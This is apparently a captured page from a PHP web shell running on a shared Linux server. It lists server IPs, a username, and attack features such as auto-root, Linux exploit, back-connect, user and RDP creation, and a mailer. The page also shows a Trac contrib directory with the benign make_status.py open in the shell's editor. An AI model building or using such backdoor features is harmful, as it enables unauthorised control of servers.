Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
trac /
contrib /
[ HOME SHELL ]
Name
Size
Permission
Action
sqlitetopgscript
[ DIR ]
drwxr-xr-x
travis
[ DIR ]
drwxr-xr-x
workflow
[ DIR ]
drwxr-xr-x
README
322
B
-rw-r--r--
appveyor.ps1.gz
3.9
KB
-rw-r--r--
checksum.py
1.15
KB
-rw-r--r--
checkwiki.py.gz
2.37
KB
-rw-r--r--
htdigest.py
3.71
KB
-rw-r--r--
htpasswd.py.gz
1.5
KB
-rw-r--r--
jinjachecker.py.gz
5.09
KB
-rw-r--r--
l10n_diff_index.py
3
KB
-rw-r--r--
l10n_reset_en_GB.py
2.14
KB
-rw-r--r--
l10n_revert_lineno_conflicts.p...
2.17
KB
-rw-r--r--
make_status.py
3.48
KB
-rw-r--r--
merge_catalog.py.gz
1.64
KB
-rw-r--r--
trac-pre-commit-hook
2.35
KB
-rw-r--r--
trac-svn-hook.gz
3.09
KB
-rw-r--r--
trac-svn-post-commit-hook.cmd
3.19
KB
-rw-r--r--
wiki2rst.py.gz
1.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : make_status.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (C) 2014-2021 Edgewall Software # All rights reserved. # # This software is licensed as described in the file COPYING, which # you should have received as part of this distribution. The terms # are also available at https://trac.edgewall.org/wiki/TracLicense. import importlib import io import pkg_resources import warnings from trac.util.text import print_table, printout def _svn_version(): from svn import core version = (core.SVN_VER_MAJOR, core.SVN_VER_MINOR, core.SVN_VER_MICRO) return '%d.%d.%d' % version + str(core.SVN_VER_TAG, 'utf-8') def _pytidylib_version(): import pkg_resources version = pkg_resources.get_distribution('pytidylib').version try: import tidylib tidy = tidylib.Tidy() except Exception as e: info = 'not installed' else: import ctypes cdll = tidy._tidy fn = cdll.tidyLibraryVersion fn.restype = ctypes.c_char_p libver = fn() if isinstance(libver, bytes): libver = str(libver, 'utf-8') info = '%s %s' % (libver, cdll._name) return '%s (%s)' % (version, info) if info else version PACKAGES = [ ("Python", 'sys.version'), ("Setuptools", 'setuptools.__version__'), ("Pip", 'pip.__version__'), ("Wheel", 'wheel.__version__'), ("Jinja2", 'jinja2.__version__'), ("Babel", 'babel.__version__'), ("sqlite3", ('sqlite3.version', 'sqlite3.sqlite_version')), ("PySqlite", ('pysqlite2.dbapi2.version', 'pysqlite2.dbapi2.sqlite_version')), ("PyMySQL", 'pymysql.__version__'), ("Psycopg2", 'psycopg2.__version__'), ("SVN bindings", '__main__._svn_version()'), ("Mercurial", 'mercurial.util.version()'), ("Pygments", 'pygments.__version__'), ("Textile", 'textile.__version__'), ("Pytz", 'pytz.__version__'), ("Docutils", 'docutils.__version__'), ("Selenium", 'selenium.__version__'), ("PyTidyLib", '__main__._pytidylib_version()'), ("LXML", 'lxml.etree.__version__'), ("coverage", 'coverage.__version__'), ] def package_versions(packages, out=None): name_version_pairs = [] for name, accessors in packages: version = get_version(accessors) name_version_pairs.append((name, version)) print_table(name_version_pairs, ("Package", "Version"), ' : ', out) def get_version(accessors): if isinstance(accessors, tuple): version = resolve_accessor(accessors[0]) details = resolve_accessor(accessors[1]) if version: return "%s (%s)" % (version, details or '?') else: version = resolve_accessor(accessors) return version or 'not installed' def resolve_accessor(accessor): try: module, attr = accessor.rsplit('.', 1) version = attr.replace('()', '') version = getattr(importlib.import_module(module), version) if attr.endswith('()'): version = version() return version except Exception: return None def shift(prefix, block): return '\n'.join(prefix + line for line in block.split('\n') if line) def print_status(): buf = io.StringIO() package_versions(PACKAGES, buf) printout(shift(' ', buf.getvalue())) if __name__ == '__main__': print_status()
Close